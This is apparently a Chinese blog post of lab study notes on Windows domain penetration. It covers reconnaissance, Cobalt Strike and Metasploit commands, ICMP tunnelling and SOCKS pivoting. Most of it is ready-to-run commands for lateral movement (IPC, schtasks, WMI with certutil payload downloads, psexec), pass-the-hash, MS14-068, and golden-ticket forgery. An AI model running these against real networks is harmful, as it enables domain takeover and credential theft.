• 内网安全学习


    环境下载在这里,需要请自行下载链接:https://pan.baidu.com/s/1yVrX9v5cMV9_BuBmW5OlDg?pwd=vsi3 
    提取码:vsi3 
    --来自百度网盘超级会员V2的分享

    域内一共有五台主机,都在192.168.3.0网段,需要自行在webserver上添加NAT模式网卡

    域在我的理解就是一个局域网,管理员为了便于操作域内主机,通常会有一个DC(domain control),域控主机可以直接控制其他域内主机,相当于域内的管理员权限,内网渗透的终极目的即拿到域控的权限。

    在域控中的主机可以有两种登录方式,普通账户登录和域内账户登录,普通域内用户的权限是很低的,安装程序,修改密码等等都需要向域控申请才能完成。

    域控机器

    如图,域控可以管理域内的机器和用户

    域内信息收集

    当我们拿下一台主机后,可以通过

    systeminfo 详细信息
    netstat -ano 端口列表
    route print 路由表
    net start 启动服务
    tasklist 进程列表
    schtasks 计划任务
    ipconfig /all 判断存在域
    net view /domain 判断存在域
    net time /domain 判断主域
    netstat -ano 当前网络端口开放
    nslookup 域名 追踪来源地址
    wmic service list brief 查询本机服务
    net config workstation 查询当前登录域及登录用户信息
    wmic startup get command,caption 查看已启动的程序信息

     如图,我的电脑是一台个人主机,没有域

     现在,我再用域内的web服务器用户,可以看到有god域

    当判断自己在域中,可以尝试进行信息收集

    net view /domain 查询域列表
    net time/domain 从域控查询时间,若当前用户是域用户会从域控返回当前时间,亦
    用来判 断主域,主域一般用做时间服务器
    net localgroup administrators 本机管理员【通常含有域用户】
    net user /domain 查询域用户 ( 当前域 )
    net group /domain 查询域工作组
    net group "domain computers" /domain 查看加入域的所有计算机名
    net group "domain admins" /domain 查询域管理员用户组和域管用户
    net localgroup administrators /domain 查看域管理员
    net group "domain controllers" /domain 查看域控
    net accounts /domain 查看域密码策略 

     查看本机管理员

    查看域内主机

     查看域管理员用户

     查看域控主机

    我们想要通过域内主机拿到域控权限,首先就要获得目标IP地址

    net time /domain 获取域控主机名,ping获取目标IP

    God.org环境搭建

     这里我给web服务器加上连接外网的网卡,所有主机在同一内网

    这里我使用CS这一工具,CS在内网渗透比较方便

    CS命令大全

    browserpivot 注入受害者浏览器进程
    sleep 3 全部命令3秒执行
    bypassuac 绕过UAC
    cancel 取消正在进行的下载
    cd 切换目录
    checkin 强制让被控端回连一次
    clear 清除beacon内部的任务队列
    connect Connect to a Beacon peerover TCP
    covertvpn 部署Covert VPN客户端
    cp 复制文件
    dcsync 从DC中提取密码哈希
    desktop 远程VNC
    dllinject 反射DLL注入进程
    dllload 使用LoadLibrary将DLL加载到进程中
    download 下载文件
    downloads 列出正在进行的文件下载
    drives 列出目标盘符
    elevate 尝试提权
    execute 在目标上执行程序(无输出)
    execute-assembly 在目标上内存中执行本地.NET程序
    exit 退出beacon
    getprivs Enable system privileges oncurrent token
    getsystem 尝试获取SYSTEM权限
    getuid 获取用户ID
    hashdump 转储密码哈希值
    help 帮助
    inject 在特定进程中生成会话
    jobkill 杀死一个后台任务
    jobs 列出后台任务
    kerberos_ccache_use 从ccache文件中导入票据应用于此会话
    kerberos_ticket_purge 清除当前会话的票据
    kerberos_ticket_use 从ticket文件中导入票据应用于此会话
    keylogger 键盘记录
    kill 结束进程
    link Connect to a Beacon peerover a named pipe
    logonpasswords 使用mimikatz转储凭据和哈希值
    ls 列出文件
    make_token 创建令牌以传递凭据
    mimikatz 运行mimikatz
    mkdir 创建一个目录
    mode dns 使用DNS A作为通信通道(仅限DNS beacon)
    mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
    mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
    mode http 使用HTTP作为通信通道
    mv 移动文件
    net net命令
    note 备注
    portscan 进行端口扫描
    powerpick 通过Unmanaged PowerShell执行命令
    powershell 通过powershell.exe执行命令
    powershell-import 导入powershell脚本
    ppid Set parent PID forspawned post-ex jobs
    ps 显示进程列表
    psexec Use a service to spawn asession on a host
    psexec_psh Use PowerShell to spawn asession on a host
    psinject 在特定进程中执行PowerShell命令
    pth 使用Mimikatz进行传递哈希
    pwd 当前目录位置
    reg Query the registry
    rev2self 恢复原始令牌
    rm 删除文件或文件夹
    rportfwd 端口转发
    run 在目标上执行程序(返回输出)
    runas 以另一个用户权限执行程序
    runasadmin 在高权限下执行程序
    runu Execute a program underanother PID
    screenshot 屏幕截图
    setenv 设置环境变量
    shell cmd.exe  打开cmd终端
    shell ipconfig 执行ipconfig命令
    shinject 将shellcode注入进程
    shspawn 生成进程并将shellcode注入其中
    sleep 设置睡眠延迟时间
    socks 启动SOCKS4代理
    socks stop 停止SOCKS4
    spawn Spawn a session
    spawnas Spawn a session as anotheruser
    spawnto Set executable tospawn processes into
    spawnu Spawn a session underanother PID
    ssh 使用ssh连接远程主机
    ssh-key 使用密钥连接远程主机
    steal_token 从进程中窃取令牌
    timestomp 将一个文件时间戳应用到另一个文件
    unlink Disconnect from parentBeacon
    upload 上传文件
    wdigest 使用mimikatz转储明文凭据
    winrm 使用WinRM在主机上生成会话
    wmi 使用WMI在主机上生成会话
    argue 进程参数欺骗

    我们可以利用工具进行信息收集,先假设我们获得了web服务器的权限

    进行端口扫描

     

    这里,我们确定了三个目标

    192.168.3.21:445 (platform: 500 version: 6.1 name: OWA2010CN-GOD domain: GOD)

    5065 5060 3389 995 993 808 636 593 587 464 443 389 143 139 135 110 88 80 53 25 445 

    192.168.3.25:445 (platform: 500 version: 6.1 name: MARY-PC domain: GOD)
    192.168.3.31:445 (platform: 500 version: 6.1 name: WEBSERVER domain: GOD)

    使用CS的权限提升插件将拿到的权限进行权限提升

     拿到system权限后可以进行密码抓取

     我们可以假设域内有相同密码的机器,使用抓取的密码进行横向移动

    这里失败了,前面做好信息收集确定目标用户信息后进行横向移动

    隧道技术 

    在内网渗透中,可能会出现内网机器开启防火墙,对入站和出站规则进行限制,因此我们需要学习隧道技术,隧道和代理是不一样的,隧道解决的是两个网络本来可以通信,因为防火墙等的限制需要采用其他协议来进行通信,代理解决的是不能通信的网络通过跳板机完成实现通信的效果

    如图,开启防火墙,拒绝所有TCP连接

     这时候,我们的木马自然不起作用了,但是ping命令是可以用的,所以可以借助ICMP搭建隧道

    kali生成MSF木马

    msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=6666 -f exe >msf.exe

    kali开启监听

     

     kali开启隧道

    控制目标机器以管理员权限运行隧道

     运行kali生成木马

    目标机器成功上线msf

    这里的原理是通过木马 监听目标机器的6666端口,通过隧道将3333端口的流量通过ICMP协议转化到kali,再由隧道的服务端将ICMP转换成TCP,实现权限传递

    隧道技术解决的是后渗透阶段将权限移交给MSF,CS等工具的问题

    ICMP隧道        ping命令

    DNS隧道        nslookup命令

    代理技术

    在内网渗透的过程中,经常遇到目标域只有一个web服务器连接外网,其他主机全部在内网环境,而想要进行内网渗透,就需要借助域暴露在外网的主机作为跳板机,实现内网的横向移动

    MSF

    现在MSF获得了域暴露在外网服务器的权限

     msf需要配置路由,这是和CS不同一点

     run post/multi/manage/autoroute 

    run autoroute -p

    background 

    search socks

    use auxiliary/server/socks_proxy  

    run

     使用Sockscap工具,设置MSF服务器为代理

     如图,成功访问位于内网的主机

     这里还有一个代理工具,适合Windows系统

     

     CS

    CS设置代理转发

     根据CS客户端选择代理

    同样可以建立连接

     上线

    这里先设置TCP监听器,然后生成stageless模式后门

     假设我们已经获得了目标的权限,可是目标在内网,需要移交权限给CS进行后渗透,运行后门

     然后再通过前面已经连接的后门进行正向连接,实现上线

    Windows 防火墙命令

    Windows防火墙设置的入站和出站规则可能影响内网渗透,如果拥有足够的权限,可以尝试关闭防火墙

    Windows 防火墙命令:
    https://www.cnblogs.com/tomtellyou/p/16300557.html
    查看当前防火墙状态: netsh advfirewall show allprofiles
    关闭防火墙: netsh advfirewall set allprofiles state off
    开启防火墙: netsh advfirewall set allprofiles state on
    恢复初始防火墙设置: netsh advfirewall reset
    启用桌面防火墙 : netsh advfirewall set allprofiles state on
    设置默认输入和输出策略: netsh advfirewall set allprofiles
    firewallpolicy allowinbound,allowoutbound
    如果设置为拒绝使用 blockinbound,blockoutbound

     横向移动

    网络拓扑图如下

    确定域环境

    确定域控owa2010cn-god.god.org的IP为192.168.3.21

    确定域内用户

    右键选择凭证提权,权限提升进行提权,这里我选择的是ms14-058

    进行端口扫描

     可以看到,扫描到以下目标

    抓取明文密码

    还可以抓取hash值,只要有用户登录到这台主机,用户就会将hash写到内存中,这时就可以读取

    因为域控机器在内网环境,所以生成的木马需要主动监听端口,然后采用正向连接

    IPC

    IPC(共享命名管道资源)其实就是为了实现进程间通信而开放的命名管道;IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源使用

    at
    net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\ad
    ministrator        建立IPC连接

    查看文件目录

    将生成的木马上传到被我们控制的webserver

    shell copy 4444.exe \\192.168.3.21\c$        拷贝执行文件到目标机器

    shell at \\192.168.3.21 21:38 c:\4444.exe        添加计划任务

    connect 192.168.3.21 4444        正向连接木马

    直接拿到了域控权限

    这里也可以通过前面的代理技术反向连接木马

    首先设置代理转发

    再使用前面的代理生成后门

    后门按照前面的步骤传递再执行即可,就不用连接操作了

    schtasks >=Windows2012

    net use \\192.168.3.32\ipc$ "Admin!@#45" /user:god.org\ad
    ministrator # 建立 ipc 连接:
    copy beacon.exe \\192.168.3.32\c$ # 复制文件到其 C
    schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc
    DAILY /tr c:\beacon.exe /F # beacon 任务对应执行文件
    schtasks /run /s 192.168.3.32 /tn beacon /i # 运行 beacon 任务
    schtasks /delete /s 192.168.3.21 /tn beacon /f# 删除 beacon 任务

    CS工具

    先删除原来的连接

    可以看到成功建立了IPC连接

    接下来的步骤就是传送木马,运行木马了

    也可以删除连接

    WMI

    WMI 是通过 135 端口进行利用,支持用户名明文或者 hash 的方式进行认证,
    并且该方法不会在目标日志系统留下痕迹。
    1.wmic
    内部: ( 单执行 )
    wmic /node:192.168.3.32 /user:administrator /password:admin!@#45
    process call create "cmd.exe /c certutil -urlcache -split -f
    http://192.168.3.31/beacon.exe c:/beacon.exe"
    wmic /node:192.168.3.32 /user:administrator /password:admin!@#45
    process call create "cmd.exe c:/beacon.exe"
    2.cscript
    内置: ( 交互式 )
    上传 wmiexec.vbs
    cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator
    Admin12345
    3.wmiexec-impacket
    外部: ( 交互式 & 单执行 )
    wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
    wmiexec -
    hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.
    3.32 "whoami"
    下载后门:
    wmiexec ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c
    certutil -urlcache -split -f http://192.168.3.31/beacon.exe
    c:/beacon.exe"
    执行后门:
    wmiexec ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c
    c:/beacon.exe"

    SMB

    利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放

    1.psexec
    内部: ( 交互式 windows 官方工具 )
    psexec64 \\192.168.3.32 -u administrator -p admin!@#45 -s cmd
    外部: ( 交互式 外人开发的工具 )
    psexec -
    hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168. 3.32
    2.CS
    可以使用CS的横向移动psexec方式

    PTH

    PTH = Pass The Hash ,通过密码散列值 ( 通常是 NTLM Hash) 来进行攻击。
    在域环境中,用户登录计算机时使用的域账号,计算机会用相同本地管理员账号和密码。
    因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方
    法登录到内网主机的其他计算机。Windows2003及之前用的是LM加密,不安全可以被逆向破解,所以后面使用NTML加密
    NTML加密过程

    1、client发送账户名user到server

    2、server判断本地账户名是否存在,没有则失败,有的话生成challenge,查找user对应的NTLM哈希,使用哈希加密challenge,生成一个net-ntlm hash存在内存中,将challenge发送给client

    3、cLient接受到challenge以后,将自己的密码转换成NTLM哈希,用生成的哈希加密challenge生成response,发送response给server

    4、server对比自己内存中的net-ntlm hash与client发来的response是否一致
    注意:challenge每次认证都不一样,是一个随机生成的16字节随机数

    mimiakatz

    (不推荐,弹cmd,能连上rdp时可以使用)

    ip不行时就用主机名
    连接域用户,导入到了内存中,之后利用票据在进行以下操作
    mimikatz sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
    连接本地用户
    mimikatz privilege::debug
    mimikatz sekurlsa::pth /user:administrator /domain:sqlserver /ntlm:518b98ad4178a53695dc997aa02d455c
    net use \\192.168.3.32\c$
    copy beacon.exe \\192.168.3.32\c$
    sc \\sqlserver create bshell binpath= "c:\4.exe"
    sc \\sqlserver start bshell

    impaket psexec

    本地用户
    执行命令
    psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
    弹cmd
    psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
    域用户
     psexec -hashes :518b98ad4178a53695dc997aa02d455c god/administrator@192.168.3.32

    crackmapexec

    #域用户HASH登录
    proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c
    #本地用户HASH登录,-x参数执行命令
    proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c --local-auth

    PTT

    漏洞(ms14-068) 伪造新用户身份

    获取SID值:
    shell whoami/user
    生成票据文件(在本地开代理执行或上传执行都可以,本地执行需要上传票据)
    shell ms14-068.exe -u webadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45
    清除票据连接
    shell klist purge
    查看但前票据
    shell klist
    内存导入票据 (cs自带mimakatz)
    mimikatz kerberos::ptc TGT_webadmin@god.org.ccache
    查看目标主机目录结构
    shell dir \\OWA2010CN-GOD\c$
    连接目标上线
    shell net use \\OWA2010CN-GOD\C$
    copy beacon.exe \\OWA2010CN-GOD\C$
    sc \\OWA2010CN-GOD create bindshell binpath= "c:\beacon.exe"
    sc \\OWA2010CN-GOD start bindshell

    kekeo 利用ntml生成新的票据 

    主要是看是不是高权限的ntml,这样生成的票据才能够成功

    生成票据(在本地开代理执行或上传执行都可以,本地执行需要上传票据)
    shell kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" "exit"
    导入票据
    shell kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"
    查看票据(cs自带命令)
    shell klist
    利用票据连接
    shell dir \\owa2010cn-god\c$

    mimiakatz 利用的历史遗留票据

    主要是看域管理员等一些高权限用户是否登陆过,并且票据没有过期,mimikatz抓取密码时权限要高权限用户才能抓取

    导出票据
    mimikatz sekurlsa::tickets /export
    导入票据
    mimikatz kerberos::ptt C:\Users\webadmin\Desktop\[0;22d3a]-2-1-40e00000-Administrator@krbtgt-god.org.kirbi
    查看票据
    shell klist
    利用票据连接
    shell dir \\owa2010cn-god\c$

    PTK

    利用条件:
    当系统安装了KB2871997补丁且禁用了NTLM

    mimikatz sekurlsa::ekeys mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值

    权限维持

    1 、域名: god.org
    2 、域的 SID 值: S-1-5-21-1218902331-2157346161-1782232778
    >whoami /user
    >whoami /all
    >wmic useraccount get name,sid
    3 、域的 KRBTGT 账户 NTLM-HASH b097d7ed97495408e1537f706c357fc5
    >mimikatz privilege::debug
    >mimikatz lsadump::lsa /patch
    4 、伪造用户名: webadmin (任意用户名)
    生成票据:
    mimikatz kerberos::golden /user:webadmin /domain:god.org /sid:S-
    1-5-21-1218902331-2157346161-1782232778
    /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:g
    导入内存:
    mimikatz kerberos::ptt g
    访问测试:
    dir \\owa2010cn-god\c$
    后期渗透
    net use \\owa2010cn-god

  • 相关阅读:
    P38 Border边框
    mybatisplus自动生成器
    vue中如何动态绑定高度
    ABB电磁流量计维修信号变送器维修41F/E4技术参数
    C++ stack和queue
    Flutter学习笔记 --单一子元素组件
    基本算法篇——二分查找
    【Linux】vim及gcc/g++的使用
    Linux安装详解
    数字人IP为何成家电品牌年轻化营销黑马?
  • 原文地址:https://blog.csdn.net/weixin_56537388/article/details/133235119